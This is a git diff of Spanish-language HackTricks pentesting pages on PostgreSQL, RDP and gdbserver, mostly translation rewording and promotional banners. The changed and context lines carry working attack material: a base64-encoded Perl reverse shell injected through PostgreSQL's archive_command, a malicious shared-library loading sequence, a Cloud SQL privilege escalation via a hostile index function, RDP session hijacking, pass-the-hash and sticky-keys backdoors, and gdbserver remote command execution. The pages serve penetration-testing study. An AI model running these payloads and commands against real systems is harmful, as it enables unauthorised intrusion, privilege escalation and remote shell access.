2. Sobrescribir `archive_command` con el payload. Por ejemplo, un reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
2. Sobrescribir `archive_command` con el payload. Por ejemplo, un shell inverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Recargar la configuración: `SELECT pg_reload_conf()`
|
||||
4. Forzar la operación de WAL para que se ejecute, lo que llamará al comando de archivo: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` para algunas versiones de Postgres
|
||||
|
||||
|
@ -578,14 +568,14 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
|||
6. Cargar el `postgresql.conf` malicioso, creado en los pasos 2-3, y sobrescribir el original
|
||||
7. Cargar el `payload.so` del paso 5 en el directorio `/tmp`
|
||||
8. Recargar la configuración del servidor reiniciando el servidor o invocando la consulta `SELECT pg_reload_conf()`
|
||||
9. En la próxima conexión a la base de datos, recibirás la conexión de reverse shell.
|
||||
9. En la próxima conexión a la base de datos, recibirás la conexión de shell inverso.
|
||||
## **Elevación de privilegios en Postgres**
|
||||
|
||||
### Elevación de privilegios CREATEROLE
|
||||
|
||||
#### **Concesión**
|
||||
|
||||
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **conceder o revocar membresía en cualquier rol** que **no** sea un **superusuario**._
|
||||
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **conceder o revocar membresía en cualquier rol** que **no sea** un **superusuario**._
|
||||
|
||||
Por lo tanto, si tienes el permiso **`CREATEROLE`** podrías otorgarte acceso a otros **roles** (que no sean superusuario) que te permitan leer y escribir archivos y ejecutar comandos:
|
||||
```sql
|
||||
|
@ -623,7 +613,7 @@ host all all ::1/128 trust
|
|||
|
||||
### **ALTER TABLE privesc**
|
||||
|
||||
En [**este informe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible realizar una **escalada de privilegios** en Postgres GCP abusando del privilegio ALTER TABLE que se otorgó al usuario.
|
||||
En [**este artículo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible realizar una **escalada de privilegios** en Postgres GCP abusando del privilegio ALTER TABLE que se le otorgó al usuario.
|
||||
|
||||
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías recibir un **error** que lo impida, pero aparentemente GCP dio esa **opción al usuario postgres que no es superusuario** en GCP:
|
||||
|
||||
|
@ -640,8 +630,10 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
1. Comienza creando una nueva tabla.
|
||||
2. Inserta contenido irrelevante en la tabla para proporcionar datos para la función de índice.
|
||||
3. Desarrolla una función de índice maliciosa que contenga una carga útil de ejecución de código, permitiendo la ejecución de comandos no autorizados.
|
||||
4. ALTERA el propietario de la tabla a "cloudsqladmin," que es el rol de superusuario de GCP utilizado exclusivamente por Cloud SQL para gestionar y mantener la base de datos.
|
||||
4. ALTERA al propietario de la tabla a "cloudsqladmin," que es el rol de superusuario de GCP utilizado exclusivamente por Cloud SQL para gestionar y mantener la base de datos.
|
||||
5. Realiza una operación ANALYZE en la tabla. Esta acción obliga al motor de PostgreSQL a cambiar al contexto de usuario del propietario de la tabla, "cloudsqladmin." En consecuencia, la función de índice maliciosa se llama con los permisos de "cloudsqladmin," lo que permite la ejecución del comando de shell previamente no autorizado.
|
||||
|
||||
En PostgreSQL, este flujo se ve algo así:
|
||||
```sql
|
||||
CREATE TABLE temp_table (data text);
|
||||
CREATE TABLE shell_commands_results (data text);
|
||||
|
@ -734,10 +726,10 @@ Y luego **ejecutar comandos**:
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Realizar un Ataque de Fuerza Bruta con PL/pgSQL
|
||||
### Realizar Fuerza Bruta con PL/pgSQL
|
||||
|
||||
**PL/pgSQL** es un **lenguaje de programación completo** que ofrece un mayor control procedural en comparación con SQL. Permite el uso de **bucles** y otras **estructuras de control** para mejorar la lógica del programa. Además, las **sentencias SQL** y los **disparadores** tienen la capacidad de invocar funciones que se crean utilizando el **lenguaje PL/pgSQL**. Esta integración permite un enfoque más completo y versátil para la programación y automatización de bases de datos.\
|
||||
**Puedes abusar de este lenguaje para pedirle a PostgreSQL que fuerce bruta las credenciales de los usuarios.**
|
||||
**Puedes abusar de este lenguaje para pedirle a PostgreSQL que realice fuerza bruta en las credenciales de los usuarios.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
|
@ -801,3 +793,25 @@ string pgadmin4.db
|
|||
La autenticación del cliente en PostgreSQL se gestiona a través de un archivo de configuración llamado **pg\_hba.conf**. Este archivo contiene una serie de registros, cada uno especificando un tipo de conexión, rango de direcciones IP del cliente (si corresponde), nombre de la base de datos, nombre de usuario y el método de autenticación a utilizar para las conexiones coincidentes. El primer registro que coincida con el tipo de conexión, dirección del cliente, base de datos solicitada y nombre de usuario se utiliza para la autenticación. No hay un respaldo o alternativa si la autenticación falla. Si ningún registro coincide, se deniega el acceso.
|
||||
|
||||
Los métodos de autenticación basados en contraseña disponibles en pg\_hba.conf son **md5**, **crypt** y **password**. Estos métodos difieren en cómo se transmite la contraseña: en formato MD5-hashed, cifrada con crypt o en texto claro. Es importante tener en cuenta que el método crypt no se puede utilizar con contraseñas que hayan sido cifradas en pg\_authid.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
|
@ -61,15 +61,15 @@ rdesktop -d <domain> -u <username> -p <password> <IP>
|
|||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||||
```
|
||||
### Verificar credenciales conocidas contra servicios RDP
|
||||
### Verificar credenciales conocidas contra servicios de RDP
|
||||
|
||||
rdp\_check.py de Impacket te permite verificar si algunas credenciales son válidas para un servicio RDP:
|
||||
rdp\_check.py de Impacket te permite verificar si algunas credenciales son válidas para un servicio de RDP:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -91,7 +91,7 @@ Ahora estarás dentro de la sesión RDP seleccionada y tendrás que hacer impers
|
|||
|
||||
**Importante**: Al acceder a sesiones RDP activas, se cerrará la sesión del usuario que la estaba utilizando.
|
||||
|
||||
Puedes obtener contraseñas del proceso volcándolas, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin ser guardadas en el disco, otras sesiones RDP abiertas en otras máquinas...)
|
||||
Puedes obtener contraseñas del proceso haciéndole dumping, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin ser guardadas en el disco, otras sesiones RDP abiertas en otras máquinas...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -102,19 +102,19 @@ ts::remote /id:2 #Connect to the session
|
|||
```
|
||||
### Sticky-keys & Utilman
|
||||
|
||||
Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento**
|
||||
Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión de RDP en cualquier momento**
|
||||
|
||||
Puedes buscar RDPs que ya hayan sido comprometidos con una de estas técnicas utilizando: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
Puedes buscar RDPs que ya hayan sido comprometidos con una de estas técnicas en: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### Inyección de Proceso RDP
|
||||
### Inyección de Procesos RDP
|
||||
|
||||
Si alguien de un dominio diferente o con **mejores privilegios inicia sesión a través de RDP** en la PC donde **eres un Administrador**, puedes **inyectar** tu beacon en su **proceso de sesión RDP** y actuar como él:
|
||||
Si alguien de un dominio diferente o con **mejores privilegios inicia sesión a través de RDP** en la PC donde **eres Administrador**, puedes **inyectar** tu beacon en su **proceso de sesión de RDP** y actuar como él:
|
||||
|
||||
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Agregar Usuario al Grupo RDP
|
||||
### Agregar Usuario al Grupo de RDP
|
||||
```bash
|
||||
net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
```
|
||||
|
@ -130,8 +130,6 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
* Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red al objetivo a través de RDP
|
||||
* Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos
|
||||
* Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
|
@ -150,7 +148,7 @@ Name: Nmap
|
|||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
|
@ -158,11 +156,11 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
||||
**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
**gdbserver** es una herramienta que permite la depuración de programas de forma remota. Se ejecuta junto al programa que necesita depuración en el mismo sistema, conocido como el "objetivo". Esta configuración permite que el **Depurador GNU** se conecte desde una máquina diferente, el "anfitrión", donde se almacenan el código fuente y una copia binaria del programa depurado. La conexión entre **gdbserver** y el depurador se puede realizar a través de TCP o una línea serie, lo que permite configuraciones de depuración versátiles.
|
||||
|
||||
Puedes hacer que un **gdbserver escuche en cualquier puerto** y en el momento **nmap no es capaz de reconocer el servicio**.
|
||||
Puedes hacer que un **gdbserver escuche en cualquier puerto** y en este momento **nmap no es capaz de reconocer el servicio**.
|
||||
|
||||
## Explotación
|
||||
|
||||
|
@ -55,7 +55,7 @@ run
|
|||
```
|
||||
### Ejecutar comandos arbitrarios
|
||||
|
||||
Hay otra forma de **hacer que el depurador ejecute comandos arbitrarios a través de un** [**script personalizado de Python tomado de aquí**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
Hay otra forma de **hacer que el depurador ejecute comandos arbitrarios a través de un** [**script personalizado en python tomado de aquí**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -195,7 +195,7 @@ RemoteCmd()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
|
@ -203,12 +203,12 @@ RemoteCmd()
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|